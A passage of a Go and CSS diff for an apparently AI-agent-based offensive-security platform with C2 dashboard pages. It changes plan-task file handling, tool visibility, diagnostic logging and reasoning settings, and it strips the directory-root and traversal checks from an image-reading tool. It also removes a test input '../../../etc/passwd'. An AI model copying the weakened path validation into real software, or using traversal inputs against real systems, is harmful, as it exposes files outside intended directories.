+func (l *localPlantaskBackend) LsInfo(ctx context.Context, req *plantask.LsInfoRequest) ([]plantask.FileInfo, error) {
+	if l == nil || l.Local == nil {
+		return nil, fmt.Errorf("plantask backend: local nil")
+	}
+	if req == nil || strings.TrimSpace(req.Path) == "" {
+		return nil, fmt.Errorf("plantask backend: list path empty")
+	}
+	files, err := l.Local.LsInfo(ctx, req)
+	if err != nil {
+		return nil, err
+	}
+	if len(files) == 0 {
+		return files, nil
+	}
+	base := filepath.Clean(req.Path)
+	out := make([]plantask.FileInfo, len(files))
+	for i, f := range files {
+		out[i] = f
+		name := strings.TrimSpace(f.Path)
+		if name == "" {
+			continue
+		}
+		if filepath.IsAbs(name) {
+			out[i].Path = filepath.Clean(name)
+			continue
+		}
+		out[i].Path = filepath.Join(base, name)
+	}
+	return out, nil
+}
+
+func (l *localPlantaskBackend) Delete(ctx context.Context, req *plantask.DeleteRequest) error {
+	if l == nil || l.Local == nil || req == nil {
+		return nil
+	}
+	p := strings.TrimSpace(req.FilePath)
+	if p == "" {
+		return nil
+	}
+	return os.Remove(p)
+}

internal/multiagent/plantask_local_backend_test.go

@@ -0,0 +1,83 @@
+package multiagent
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"testing"
+
+	localbk "github.com/cloudwego/eino-ext/adk/backend/local"
+	"github.com/cloudwego/eino/adk/filesystem"
+	"github.com/cloudwego/eino/adk/middlewares/plantask"
+)
+
+func TestLocalPlantaskBackendLsInfoReturnsFullPaths(t *testing.T) {
+	t.Parallel()
+	ctx := context.Background()
+	baseDir := t.TempDir()
+
+	loc, err := localbk.NewBackend(ctx, &localbk.Config{})
+	if err != nil {
+		t.Fatalf("NewBackend: %v", err)
+	}
+	be := newLocalPlantaskBackend(loc)
+
+	hwPath := filepath.Join(baseDir, ".highwatermark")
+	if err := os.WriteFile(hwPath, []byte("1"), 0o600); err != nil {
+		t.Fatalf("write highwatermark: %v", err)
+	}
+
+	files, err := be.LsInfo(ctx, &plantask.LsInfoRequest{Path: baseDir})
+	if err != nil {
+		t.Fatalf("LsInfo: %v", err)
+	}
+	if len(files) != 1 {
+		t.Fatalf("expected 1 file, got %d", len(files))
+	}
+	if files[0].Path != hwPath {
+		t.Fatalf("expected full path %q, got %q", hwPath, files[0].Path)
+	}
+
+	content, err := be.Read(ctx, &plantask.ReadRequest{FilePath: files[0].Path})
+	if err != nil {
+		t.Fatalf("Read via LsInfo path: %v", err)
+	}
+	if content.Content != "1" {
+		t.Fatalf("unexpected content: %q", content.Content)
+	}
+}
+
+func TestLocalPlantaskBackendSecondTaskCreateScenario(t *testing.T) {
+	t.Parallel()
+	ctx := context.Background()
+	baseDir := t.TempDir()
+
+	loc, err := localbk.NewBackend(ctx, &localbk.Config{})
+	if err != nil {
+		t.Fatalf("NewBackend: %v", err)
+	}
+	be := newLocalPlantaskBackend(loc)
+
+	hwPath := filepath.Join(baseDir, ".highwatermark")
+	if err := loc.Write(ctx, &filesystem.WriteRequest{FilePath: hwPath, Content: "1"}); err != nil {
+		t.Fatalf("seed highwatermark: %v", err)
+	}
+
+	files, err := be.LsInfo(ctx, &plantask.LsInfoRequest{Path: baseDir})
+	if err != nil {
+		t.Fatalf("LsInfo: %v", err)
+	}
+	var hwFile string
+	for _, f := range files {
+		if filepath.Base(f.Path) == ".highwatermark" {
+			hwFile = f.Path
+			break
+		}
+	}
+	if hwFile == "" {
+		t.Fatal("highwatermark not listed")
+	}
+	if _, err := be.Read(ctx, &plantask.ReadRequest{FilePath: hwFile}); err != nil {
+		t.Fatalf("Read highwatermark (second TaskCreate path): %v", err)
+	}
+}

internal/multiagent/runner.go

@@ -161,6 +161,7 @@ func RunDeepAgent(
 
 	// 若配置为 Claude provider，注入自动桥接 transport，对 Eino 透明走 Anthropic Messages API
 	httpClient = openai.NewEinoHTTPClient(&appCfg.OpenAI, httpClient)
+	openai.AttachSummarizationDiagTransport(httpClient, logger)
 
 	baseModelCfg := &einoopenai.ChatModelConfig{
 		APIKey:     appCfg.OpenAI.APIKey,
@@ -170,18 +171,7 @@ func RunDeepAgent(
 	}
 	reasoning.ApplyToEinoChatModelConfig(baseModelCfg, &appCfg.OpenAI, reasoningClient)
 
-	deepMaxIter := ma.MaxIteration
-	if deepMaxIter <= 0 {
-		deepMaxIter = appCfg.Agent.MaxIterations
-	}
-	if deepMaxIter <= 0 {
-		deepMaxIter = 40
-	}
-
-	subDefaultIter := ma.SubAgentMaxIterations
-	if subDefaultIter <= 0 {
-		subDefaultIter = 20
-	}
+	deepMaxIter := agentMaxIterations(appCfg)
 
 	var subAgents []adk.Agent
 	if orchMode != "plan_execute" {
@@ -230,10 +220,7 @@ func RunDeepAgent(
 				return nil, fmt.Errorf("子代理 %q eino 中间件: %w", id, err)
 			}
 
-			subMax := sub.MaxIterations
-			if subMax <= 0 {
-				subMax = subDefaultIter
-			}
+			subMax := resolveMaxIterations(appCfg, sub.MaxIterations)
 
 			subSumMw, err := newEinoSummarizationMiddleware(ctx, subModel, appCfg, &ma.EinoMiddleware, conversationID, logger)
 			if err != nil {

internal/multiagent/tool_always_visible.go

@@ -0,0 +1,72 @@
+package multiagent
+
+import (
+	"strings"
+)
+
+// expandAlwaysVisibleNameSet 将配置中的常驻工具名展开为可匹配运行时工具名的集合。
+// 支持：内置短名 read_file；外部 mcp::tool；运行时 mcp__tool（OpenAI/Eino 命名）。
+func expandAlwaysVisibleNameSet(names []string) map[string]struct{} {
+	set := make(map[string]struct{}, len(names)*3)
+	add := func(name string) {
+		n := strings.TrimSpace(strings.ToLower(name))
+		if n == "" {
+			return
+		}
+		set[n] = struct{}{}
+	}
+	for _, raw := range names {
+		n := strings.TrimSpace(strings.ToLower(raw))
+		if n == "" {
+			continue
+		}
+		add(n)
+		if mcp, tool, ok := strings.Cut(n, "::"); ok && mcp != "" && tool != "" {
+			// 外部工具用 mcp::tool 配置时只展开运行时 mcp__tool，避免短名误伤其它 MCP 同名工具。
+			add(mcp + "__" + tool)
+			continue
+		}
+		if idx := strings.LastIndex(n, "__"); idx > 0 {
+			mcp, tool := n[:idx], n[idx+2:]
+			if mcp != "" && tool != "" {
+				add(mcp + "::" + tool)
+			}
+			continue
+		}
+	}
+	return set
+}
+
+// toolMatchesAlwaysVisible 判断运行时工具名是否命中常驻白名单（含别名）。
+func toolMatchesAlwaysVisible(runtimeName string, nameSet map[string]struct{}) bool {
+	if len(nameSet) == 0 {
+		return false
+	}
+	name := strings.TrimSpace(strings.ToLower(runtimeName))
+	if name == "" {
+		return false
+	}
+	if _, ok := nameSet[name]; ok {
+		return true
+	}
+	if mcp, tool, ok := strings.Cut(name, "::"); ok && mcp != "" && tool != "" {
+		if _, ok := nameSet[mcp+"__"+tool]; ok {
+			return true
+		}
+		if _, ok := nameSet[tool]; ok {
+			return true
+		}
+	}
+	if idx := strings.LastIndex(name, "__"); idx > 0 {
+		mcp, tool := name[:idx], name[idx+2:]
+		if mcp != "" && tool != "" {
+			if _, ok := nameSet[mcp+"::"+tool]; ok {
+				return true
+			}
+			if _, ok := nameSet[tool]; ok {
+				return true
+			}
+		}
+	}
+	return false
+}

internal/multiagent/tool_always_visible_test.go

@@ -0,0 +1,32 @@
+package multiagent
+
+import "testing"
+
+func TestToolMatchesAlwaysVisible_ExternalAliases(t *testing.T) {
+	t.Parallel()
+	set := expandAlwaysVisibleNameSet([]string{"zhidemai::discount_search", "read_file"})
+
+	cases := []struct {
+		runtime string
+		want    bool
+	}{
+		{"zhidemai__discount_search", true},
+		{"zhidemai::discount_search", true},
+		{"read_file", true},
+		{"zhidemai__product_search_pro", false},
+		{"github__discount_search", false},
+	}
+	for _, tc := range cases {
+		if got := toolMatchesAlwaysVisible(tc.runtime, set); got != tc.want {
+			t.Fatalf("toolMatchesAlwaysVisible(%q) = %v, want %v", tc.runtime, got, tc.want)
+		}
+	}
+}
+
+func TestExpandAlwaysVisibleNameSet_LegacyShortName(t *testing.T) {
+	t.Parallel()
+	set := expandAlwaysVisibleNameSet([]string{"discount_search"})
+	if !toolMatchesAlwaysVisible("zhidemai__discount_search", set) {
+		t.Fatal("legacy short name should match external runtime tool")
+	}
+}

internal/openai/summarization_diag.go

@@ -0,0 +1,88 @@
+package openai
+
+import (
+	"bytes"
+	"io"
+	"net/http"
+	"strings"
+
+	"github.com/bytedance/sonic"
+	"go.uber.org/zap"
+)
+
+// SummarizationRequestHeader marks chat/completion requests issued by Eino summarization
+// middleware (via model.WithExtraHeader). The diagnostic transport logs empty-choices bodies
+// only for these requests so main-agent traffic stays quiet.
+const SummarizationRequestHeader = "X-CyberStrike-Summarization"
+
+const summarizationDiagBodyMaxBytes = 8192
+
+// AttachSummarizationDiagTransport wraps client.Transport to log raw API bodies when
+// summarization receives HTTP 200 with an empty choices array.
+func AttachSummarizationDiagTransport(client *http.Client, logger *zap.Logger) {
+	if client == nil || logger == nil {
+		return
+	}
+	base := client.Transport
+	if base == nil {
+		base = http.DefaultTransport
+	}
+	client.Transport = &summarizationDiagRoundTripper{base: base, logger: logger}
+}
+
+type summarizationDiagRoundTripper struct {
+	base   http.RoundTripper
+	logger *zap.Logger
+}
+
+func (rt *summarizationDiagRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
+	resp, err := rt.base.RoundTrip(req)
+	if err != nil || resp == nil || resp.Body == nil {
+		return resp, err
+	}
+	if !isSummarizationRequest(req) || !strings.Contains(strings.ToLower(resp.Header.Get("Content-Type")), "json") {
+		return resp, err
+	}
+
+	body, readErr := io.ReadAll(resp.Body)
+	_ = resp.Body.Close()
+	if readErr != nil {
+		resp.Body = io.NopCloser(bytes.NewReader(nil))
+		return resp, err
+	}
+	resp.Body = io.NopCloser(bytes.NewReader(body))
+	resp.ContentLength = int64(len(body))
+
+	if rt.logger != nil && summarizationResponseEmptyChoices(body) {
+		rt.logger.Warn("eino summarization: API returned empty choices",
+			zap.Int("status", resp.StatusCode),
+			zap.Int("response_bytes", len(body)),
+			zap.String("raw_body", truncateForLog(string(body), summarizationDiagBodyMaxBytes)),
+		)
+	}
+	return resp, err
+}
+
+func isSummarizationRequest(req *http.Request) bool {
+	if req == nil {
+		return false
+	}
+	return strings.TrimSpace(req.Header.Get(SummarizationRequestHeader)) == "1"
+}
+
+func summarizationResponseEmptyChoices(body []byte) bool {
+	var parsed struct {
+		Choices []any `json:"choices"`
+	}
+	if err := sonic.Unmarshal(body, &parsed); err != nil {
+		return false
+	}
+	return len(parsed.Choices) == 0
+}
+
+func truncateForLog(s string, maxBytes int) string {
+	if maxBytes <= 0 || len(s) <= maxBytes {
+		return s
+	}
+	return s[:maxBytes] + "…(truncated)"
+}

internal/openai/summarization_diag_test.go

@@ -0,0 +1,47 @@
+package openai
+
+import (
+	"io"
+	"net/http"
+	"strings"
+	"testing"
+
+	"go.uber.org/zap"
+)
+
+type staticRoundTripper struct {
+	status int
+	body   string
+}
+
+func (s *staticRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
+	return &http.Response{
+		StatusCode: s.status,
+		Header:     http.Header{"Content-Type": []string{"application/json"}},
+		Body:       io.NopCloser(strings.NewReader(s.body)),
+	}, nil
+}
+
+func TestSummarizationResponseEmptyChoices(t *testing.T) {
+	if !summarizationResponseEmptyChoices([]byte(`{"choices":[]}`)) {
+		t.Fatal("expected empty choices")
+	}
+	if summarizationResponseEmptyChoices([]byte(`{"choices":[{"index":0}]}`)) {
+		t.Fatal("expected non-empty choices")
+	}
+}
+
+func TestSummarizationDiagRoundTripper_SkipsWithoutHeader(t *testing.T) {
+	client := &http.Client{
+		Transport: &summarizationDiagRoundTripper{
+			base:   &staticRoundTripper{status: 200, body: `{"choices":[]}`},
+			logger: zap.NewNop(),
+		},
+	}
+	req, _ := http.NewRequest(http.MethodPost, "https://example.com/v1/chat/completions", nil)
+	resp, err := client.Do(req)
+	if err != nil {
+		t.Fatal(err)
+	}
+	_ = resp.Body.Close()
+}

internal/reasoning/eino.go

@@ -56,6 +56,7 @@ func ApplyToEinoChatModelConfig(cfg *einoopenai.ChatModelConfig, oa *config.Open
 	}
 
 	if mode == "off" {
+		applyThinkingDisabled(cfg)
 		return
 	}
 	effort := effectiveEffort(sr, client, allowClient)
@@ -185,11 +186,21 @@ func resolveWireProfile(oa *config.OpenAIConfig, sr *config.OpenAIReasoningConfi
 	}
 }
 
-func applyDeepseek(cfg *einoopenai.ChatModelConfig, mode, effort string) {
-	// auto: enable thinking for DeepSeek line; on: same; auto without effort still opens thinking.
-	if mode == "off" {
+func applyThinkingDisabled(cfg *einoopenai.ChatModelConfig) {
+	if cfg == nil {
 		return
 	}
+	if cfg.ExtraFields == nil {
+		cfg.ExtraFields = make(map[string]any)
+	}
+	if _, exists := cfg.ExtraFields["thinking"]; exists {
+		return
+	}
+	cfg.ExtraFields["thinking"] = map[string]any{"type": "disabled"}
+}
+
+func applyDeepseek(cfg *einoopenai.ChatModelConfig, mode, effort string) {
+	// auto: enable thinking for DeepSeek line; on: same; auto without effort still opens thinking.
 	if mode == "auto" || mode == "on" {
 		if cfg.ExtraFields == nil {
 			cfg.ExtraFields = make(map[string]any)

internal/reasoning/eino_test.go

@@ -49,6 +49,22 @@ func TestApplyOpenAICompat_xhighExtraField(t *testing.T) {
 	}
 }
 
+func TestApplyReasoningOff_disablesThinking(t *testing.T) {
+	cfg := &einoopenai.ChatModelConfig{}
+	oa := &config.OpenAIConfig{
+		BaseURL: "https://api.openai.com/v1",
+		Model:   "gpt-4o",
+		Reasoning: config.OpenAIReasoningConfig{
+			Mode: "off",
+		},
+	}
+	ApplyToEinoChatModelConfig(cfg, oa, nil)
+	th, ok := cfg.ExtraFields["thinking"].(map[string]any)
+	if !ok || th["type"] != "disabled" {
+		t.Fatalf("expected thinking disabled, got %#v", cfg.ExtraFields)
+	}
+}
+
 func TestApplyOpenAICompat_maxPassthrough(t *testing.T) {
 	cfg := &einoopenai.ChatModelConfig{}
 	oa := &config.OpenAIConfig{

internal/vision/path.go

@@ -7,35 +7,26 @@ import (
 	"strings"
 )
 
-const chatUploadsDirName = "chat_uploads"
-
 var allowedImageExt = map[string]struct{}{
 	".png": {}, ".jpg": {}, ".jpeg": {}, ".webp": {}, ".gif": {},
 	".bmp": {}, ".tif": {}, ".tiff": {},
 }
 
-// PathOptions 图片路径白名单根目录。
-type PathOptions struct {
-	CWD              string
-	ResultStorageDir string   // 相对 CWD，如 tmp
-	ExtraRoots       []string // vision.allowed_roots 绝对路径
-}
-
-// ResolveImagePath 解析并校验可读图片路径（防穿越、symlink 逃逸）。
-func ResolveImagePath(path string, opt PathOptions) (string, error) {
+// ResolveImagePath 解析并校验可读图片路径（支持任意目录；仍校验扩展名与常规文件）。
+func ResolveImagePath(path string, cwd string) (string, error) {
 	p := strings.TrimSpace(path)
 	if p == "" {
 		return "", fmt.Errorf("path is empty")
 	}
-	cwd := strings.TrimSpace(opt.CWD)
-	if cwd == "" {
+	cwdTrim := strings.TrimSpace(cwd)
+	if cwdTrim == "" {
 		var err error
-		cwd, err = os.Getwd()
+		cwdTrim, err = os.Getwd()
 		if err != nil {
 			return "", fmt.Errorf("getwd: %w", err)
 		}
 	}
-	cwdAbs, err := filepath.Abs(filepath.Clean(cwd))
+	cwdAbs, err := filepath.Abs(filepath.Clean(cwdTrim))
 	if err != nil {
 		return "", err
 	}
@@ -46,22 +37,16 @@ func ResolveImagePath(path string, opt PathOptions) (string, error) {
 	} else {
 		candidate = filepath.Clean(filepath.Join(cwdAbs, p))
 	}
-	candidate = normalizeAbsPath(candidate)
-	if candidate == "" {
+	resolved := normalizeAbsPath(candidate)
+	if resolved == "" {
 		return "", fmt.Errorf("invalid path")
 	}
 
-	ext := strings.ToLower(filepath.Ext(candidate))
+	ext := strings.ToLower(filepath.Ext(resolved))
 	if _, ok := allowedImageExt[ext]; !ok {
 		return "", fmt.Errorf("unsupported image extension %q", ext)
 	}
 
-	roots := buildAllowedRoots(cwdAbs, opt)
-	resolved, err := evalUnderAllowedRoots(candidate, roots)
-	if err != nil {
-		return "", err
-	}
-
 	st, err := os.Stat(resolved)
 	if err != nil {
 		return "", fmt.Errorf("stat: %w", err)
@@ -85,58 +70,3 @@ func normalizeAbsPath(p string) string {
 	}
 	return abs
 }
-
-func buildAllowedRoots(cwdAbs string, opt PathOptions) []string {
-	seen := make(map[string]struct{})
-	var roots []string
-	add := func(r string) {
-		r = strings.TrimSpace(r)
-		if r == "" {
-			return
-		}
-		abs := normalizeAbsPath(r)
-		if abs == "" {
-			return
-		}
-		if _, ok := seen[abs]; ok {
-			return
-		}
-		seen[abs] = struct{}{}
-		roots = append(roots, abs)
-	}
-	add(cwdAbs)
-	add(filepath.Join(cwdAbs, chatUploadsDirName))
-	rs := strings.TrimSpace(opt.ResultStorageDir)
-	if rs == "" {
-		rs = "tmp"
-	}
-	if filepath.IsAbs(rs) {
-		add(rs)
-	} else {
-		add(filepath.Join(cwdAbs, rs))
-	}
-	for _, r := range opt.ExtraRoots {
-		add(r)
-	}
-	return roots
-}
-
-func evalUnderAllowedRoots(candidate string, roots []string) (string, error) {
-	check := normalizeAbsPath(candidate)
-	for _, root := range roots {
-		if isUnderRoot(check, root) {
-			return candidate, nil
-		}
-	}
-	return "", fmt.Errorf("path %q is outside allowed directories", candidate)
-}
-
-func isUnderRoot(path, root string) bool {
-	path = filepath.Clean(path)
-	root = filepath.Clean(root)
-	if path == root {
-		return true
-	}
-	sep := string(filepath.Separator)
-	return strings.HasPrefix(path, root+sep)
-}

internal/vision/path_test.go

@@ -12,7 +12,7 @@ func TestResolveImagePath_underCWD(t *testing.T) {
 	if err := os.WriteFile(img, []byte{0x89, 0x50, 0x4e, 0x47}, 0o644); err != nil {
 		t.Fatal(err)
 	}
-	got, err := ResolveImagePath(img, PathOptions{CWD: dir, ResultStorageDir: "tmp"})
+	got, err := ResolveImagePath(img, dir)
 	if err != nil {
 		t.Fatal(err)
 	}
@@ -22,11 +22,20 @@ func TestResolveImagePath_underCWD(t *testing.T) {
 	}
 }
 
-func TestResolveImagePath_rejectsTraversal(t *testing.T) {
+func TestResolveImagePath_absoluteOutsideCWD(t *testing.T) {
 	dir := t.TempDir()
-	_, err := ResolveImagePath("../../../etc/passwd", PathOptions{CWD: dir})
-	if err == nil {
-		t.Fatal("expected error for path outside roots")
+	cwd := t.TempDir()
+	img := filepath.Join(dir, "remote.png")
+	if err := os.WriteFile(img, []byte{0x89, 0x50, 0x4e, 0x47}, 0o644); err != nil {
+		t.Fatal(err)
+	}
+	got, err := ResolveImagePath(img, cwd)
+	if err != nil {
+		t.Fatalf("expected absolute path outside cwd to be allowed: %v", err)
+	}
+	want := normalizeAbsPath(img)
+	if got != want {
+		t.Fatalf("got %q want %q", got, want)
 	}
 }
 
@@ -36,7 +45,7 @@ func TestResolveImagePath_rejectsNonImageExt(t *testing.T) {
 	if err := os.WriteFile(f, []byte("x"), 0o644); err != nil {
 		t.Fatal(err)
 	}
-	_, err := ResolveImagePath(f, PathOptions{CWD: dir})
+	_, err := ResolveImagePath(f, dir)
 	if err == nil {
 		t.Fatal("expected error for non-image extension")
 	}

internal/vision/tool.go

@@ -33,11 +33,6 @@ func RegisterAnalyzeImageTool(mcpServer *mcp.Server, cfg *config.Config, logger
 		return
 	}
 
-	pathOpt := PathOptions{
-		CWD:              cwd,
-		ResultStorageDir: cfg.Agent.ResultStorageDir,
-		ExtraRoots:       cfg.Vision.AllowedRoots,
-	}
 	preOpt := PreprocessOptions{
 		MaxImageBytes:            cfg.Vision.MaxImageBytesEffective(),
 		MaxDimension:             cfg.Vision.MaxDimensionEffective(),
@@ -73,7 +68,7 @@ func RegisterAnalyzeImageTool(mcpServer *mcp.Server, cfg *config.Config, logger
 		path, _ := args["path"].(string)
 		question, _ := args["question"].(string)
 
-		abs, err := ResolveImagePath(path, pathOpt)
+		abs, err := ResolveImagePath(path, cwd)
 		if err != nil {
 			return textResult(fmt.Sprintf("路径校验失败: %v", err), true), nil
 		}

tools/katana.yaml

@@ -39,9 +39,9 @@ parameters:
     default: true
   - name: "form_extraction"
     type: "bool"
-    description: "启用表单提取"
+    description: "启用表单提取（-fx / -form-extraction）"
     required: false
-    flag: "-forms"
+    flag: "-fx"
     format: "flag"
     default: true
   - name: "additional_args"
@@ -50,10 +50,10 @@ parameters:
       额外的Katana参数。用于传递未在参数列表中定义的Katana选项。
 
       **示例值：**
-      - "--headless": 使用无头浏览器
-      - "-f": 输出格式
-      - "-o output.txt": 输出到文件
-      - "-c": 并发数
+      - "-headless": 使用无头浏览器
+      - "-output-template '{{url}}'": 自定义输出格式
+      - "-output output.txt": 输出到文件
+      - "-c 20": 并发数
 
       **注意事项：**
       - 多个参数用空格分隔

web/static/css/c2.css

@@ -37,7 +37,6 @@
    Form Controls (scoped to C2 pages)
    ============================================================================ */
 
-#page-c2 .form-control,
 #page-c2-listeners .form-control,
 #page-c2-sessions .form-control,
 #page-c2-tasks .form-control,
@@ -61,7 +60,6 @@
     appearance: none;
 }
 
-#page-c2 .form-control:focus,
 #page-c2-listeners .form-control:focus,
 #page-c2-sessions .form-control:focus,
 #page-c2-tasks .form-control:focus,
@@ -73,7 +71,6 @@
     box-shadow: 0 0 0 3px var(--c2-accent-dim);
 }
 
-#page-c2 select.form-control,
 #page-c2-payloads select.form-control,
 .c2-modal select.form-control {
     background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 12 12'%3E%3Cpath fill='%2364748b' d='M2.5 4.5L6 8l3.5-3.5'/%3E%3C/svg%3E");
@@ -85,7 +82,6 @@
 }
 
 /* 原生下拉：避免 appearance:none 在部分浏览器中导致 select 无法正常展开 */
-#page-c2 select.form-control.c2-native-select,
 #page-c2-payloads select.form-control.c2-native-select,
 .c2-modal select.form-control.c2-native-select {
     appearance: auto;
@@ -94,7 +90,6 @@
     padding-right: 14px;
 }
 
-#page-c2 textarea.form-control,
 #page-c2-payloads textarea.form-control,
 .c2-modal textarea.form-control {
     resize: vertical;
@@ -104,7 +99,6 @@
     line-height: 1.6;
 }
 
-#page-c2 .form-control::placeholder,
 #page-c2-payloads .form-control::placeholder,
 .c2-modal .form-control::placeholder {
     color: var(--c2-text-muted);
@@ -140,9 +134,6 @@
    Layout
    ============================================================================ */
 
-.c2-layout { display: flex; flex-direction: column; height: 100%; }
-.c2-main { flex: 1; overflow-y: auto; }
-
 .c2-empty {
     display: flex;
     flex-direction: column;
@@ -171,103 +162,6 @@
     margin: 12px;
 }
 
-/* ============================================================================
-   Dashboard / Welcome
-   ============================================================================ */
-
-.c2-welcome {
-    text-align: center;
-    padding: 100px 24px 80px;
-    max-width: 860px;
-    margin: 0 auto;
-}
-
-.c2-welcome-icon {
-    margin-bottom: 16px;
-    animation: c2-float 4s ease-in-out infinite;
-}
-
-@keyframes c2-float {
-    0%, 100% { transform: translateY(0); }
-    50% { transform: translateY(-8px); }
-}
-
-.c2-welcome h3 {
-    font-size: 28px;
-    margin-bottom: 12px;
-    color: var(--c2-text);
-    font-weight: 800;
-    letter-spacing: -0.5px;
-}
-
-.c2-welcome p {
-    color: var(--c2-text-dim);
-    font-size: 15px;
-    line-height: 1.7;
-    margin-bottom: 48px;
-    max-width: 520px;
-    margin-left: auto;
-    margin-right: auto;
-}
-
-.c2-stats {
-    display: flex;
-    justify-content: center;
-    gap: 16px;
-    margin-bottom: 48px;
-    flex-wrap: wrap;
-}
-
-.c2-stat-item {
-    display: flex;
-    flex-direction: column;
-    align-items: center;
-    padding: 28px 40px;
-    background: var(--c2-surface);
-    border-radius: var(--c2-radius);
-    border: 1.5px solid var(--c2-border);
-    min-width: 160px;
-    transition: all 0.3s ease;
-}
-
-.c2-stat-item:hover {
-    transform: translateY(-4px);
-    box-shadow: var(--c2-shadow-md);
-    border-color: var(--c2-accent);
-}
-
-.c2-stat-item:nth-child(1) .c2-stat-value { color: var(--c2-accent); }
-.c2-stat-item:nth-child(2) .c2-stat-value { color: var(--c2-green); }
-.c2-stat-item:nth-child(3) .c2-stat-value { color: var(--c2-amber); }
-
-.c2-stat-value {
-    font-size: 36px;
-    font-weight: 800;
-    line-height: 1;
-    letter-spacing: -1px;
-}
-
-.c2-stat-label {
-    font-size: 12px;
-    color: var(--c2-text-dim);
-    margin-top: 12px;
-    font-weight: 600;
-    letter-spacing: 0.3px;
-}
-
-.c2-actions {
-    display: flex;
-    gap: 12px;
-    justify-content: center;
-    flex-wrap: wrap;
-    max-width: 420px;
-    margin-inline: auto;
-}
-
-.c2-actions > button {
-    flex: 1;
-    min-width: min(100%, 160px);
-}
 /* ============================================================================
    Listener Cards
    ============================================================================ */
@@ -772,6 +666,66 @@
     border: 1px solid var(--c2-border);
 }
 
+#c2-file-upload-btn.is-disabled,
+#c2-file-upload-btn:disabled {
+    opacity: 0.5;
+    cursor: not-allowed;
+    color: var(--c2-text-dim, #94a3b8);
+    border-color: var(--c2-border, #e2e8f0);
+}
+
+.c2-file-upload-hint {
+    font-size: 12px;
+    color: #b45309;
+    background: rgba(245, 158, 11, 0.08);
+    border: 1px solid rgba(245, 158, 11, 0.25);
+    border-radius: var(--c2-radius-xs, 4px);
+    padding: 8px 12px;
+    margin: -8px 0 12px;
+    line-height: 1.5;
+    word-break: break-word;
+}
+
+.c2-file-upload-hint[hidden] {
+    display: none !important;
+}
+
+.c2-file-upload-progress {
+    display: flex;
+    align-items: center;
+    gap: 10px;
+    margin: -8px 0 12px;
+    padding: 0 4px;
+}
+
+.c2-file-upload-progress[hidden] {
+    display: none !important;
+}
+
+.c2-file-upload-progress-track {
+    flex: 1;
+    height: 4px;
+    background: var(--c2-border);
+    border-radius: 2px;
+    overflow: hidden;
+}
+
+.c2-file-upload-progress-fill {
+    height: 100%;
+    width: 0;
+    background: var(--c2-accent, #3b82f6);
+    transition: width 0.2s ease;
+}
+
+.c2-file-upload-progress-label {
+    font-size: 11px;
+    color: var(--c2-text-dim);
+    white-space: nowrap;
+    max-width: 220px;
+    overflow: hidden;
+    text-overflow: ellipsis;
+}
+
 .c2-file-list {
     background: var(--c2-surface);
     border-radius: var(--c2-radius);
@@ -1218,32 +1172,172 @@
    Task Detail Modal
    ============================================================================ */
 
-.c2-task-detail { line-height: 2; }
-.c2-task-detail > div { margin-bottom: 6px; font-size: 13px; }
+.c2-modal.c2-modal--wide {
+    max-width: 720px;
+}
+
+.c2-task-modal-header {
+    align-items: flex-start;
+}
+
+.c2-task-modal-heading {
+    display: flex;
+    align-items: center;
+    gap: 12px;
+    flex-wrap: wrap;
+}
+
+.c2-task-modal-heading h3 {
+    margin: 0;
+}
+
+.c2-task-detail {
+    display: flex;
+    flex-direction: column;
+    gap: 20px;
+}
+
+.c2-task-detail-grid {
+    display: grid;
+    grid-template-columns: repeat(2, minmax(0, 1fr));
+    gap: 12px;
+}
+
+.c2-task-kv {
+    display: flex;
+    flex-direction: column;
+    gap: 6px;
+    padding: 12px 14px;
+    background: var(--c2-surface-alt);
+    border: 1px solid var(--c2-border);
+    border-radius: var(--c2-radius-sm);
+}
+
+.c2-task-kv__label {
+    font-size: 11px;
+    font-weight: 600;
+    letter-spacing: 0.04em;
+    text-transform: uppercase;
+    color: var(--c2-text-muted);
+}
+
+.c2-task-kv__value {
+    font-size: 13px;
+    font-weight: 500;
+    color: var(--c2-text);
+    word-break: break-all;
+    line-height: 1.45;
+}
+
+.c2-task-kv__value--mono {
+    font-family: var(--c2-mono);
+    font-size: 12px;
+    color: var(--c2-text-dim);
+}
+
+.c2-task-kv__value--accent {
+    font-family: var(--c2-mono);
+    font-weight: 600;
+    color: var(--c2-accent);
+}
+
+.c2-task-timeline {
+    display: grid;
+    grid-template-columns: repeat(3, minmax(0, 1fr));
+    gap: 10px;
+    padding: 14px 16px;
+    background: linear-gradient(135deg, rgba(59, 130, 246, 0.06), rgba(59, 130, 246, 0.02));
+    border: 1px solid rgba(59, 130, 246, 0.14);
+    border-radius: var(--c2-radius-sm);
+}
+
+.c2-task-time-card {
+    display: flex;
+    flex-direction: column;
+    gap: 6px;
+    min-width: 0;
+}
+
+.c2-task-time-card:not(:last-child) {
+    padding-right: 10px;
+    border-right: 1px solid rgba(59, 130, 246, 0.12);
+}
+
+.c2-task-code-section,
+.c2-task-error-section {
+    display: flex;
+    flex-direction: column;
+    gap: 10px;
+}
+
+.c2-task-code-header {
+    display: flex;
+    align-items: center;
+    justify-content: space-between;
+    gap: 12px;
+}
+
+.c2-task-code-title {
+    font-size: 12px;
+    font-weight: 700;
+    letter-spacing: 0.04em;
+    text-transform: uppercase;
+    color: var(--c2-text-dim);
+}
 
 .c2-task-error {
     color: var(--c2-red);
-    padding: 14px;
+    padding: 14px 16px;
     background: var(--c2-red-dim);
     border: 1px solid rgba(239, 68, 68, 0.15);
     border-radius: var(--c2-radius-sm);
-    margin-top: 12px;
     font-size: 13px;
+    line-height: 1.55;
+    white-space: pre-wrap;
+    word-break: break-word;
 }
 
-.c2-task-result pre {
+.c2-task-result-pre,
+.c2-task-command-pre {
     background: #0f172a;
     color: #e2e8f0;
-    padding: 16px;
+    padding: 14px 16px;
     border-radius: var(--c2-radius-sm);
     overflow-x: auto;
     font-family: var(--c2-mono);
     font-size: 12px;
-    margin-top: 8px;
-    max-height: 400px;
+    margin: 0;
+    max-height: 360px;
     overflow-y: auto;
     border: 1px solid #1e293b;
     line-height: 1.6;
+    white-space: pre-wrap;
+    word-break: break-all;
+}
+
+.c2-task-command-pre {
+    max-height: 140px;
+}
+
+.c2-task-command-cell {
+    max-width: 220px;
+    overflow: hidden;
+    text-overflow: ellipsis;
+    white-space: nowrap;
+    font-family: var(--c2-mono);
+    font-size: 12px;
+    color: var(--c2-text-muted, #64748b);
+}
+
+.c2-task-item-compact .c2-task-command {
+    flex: 1;
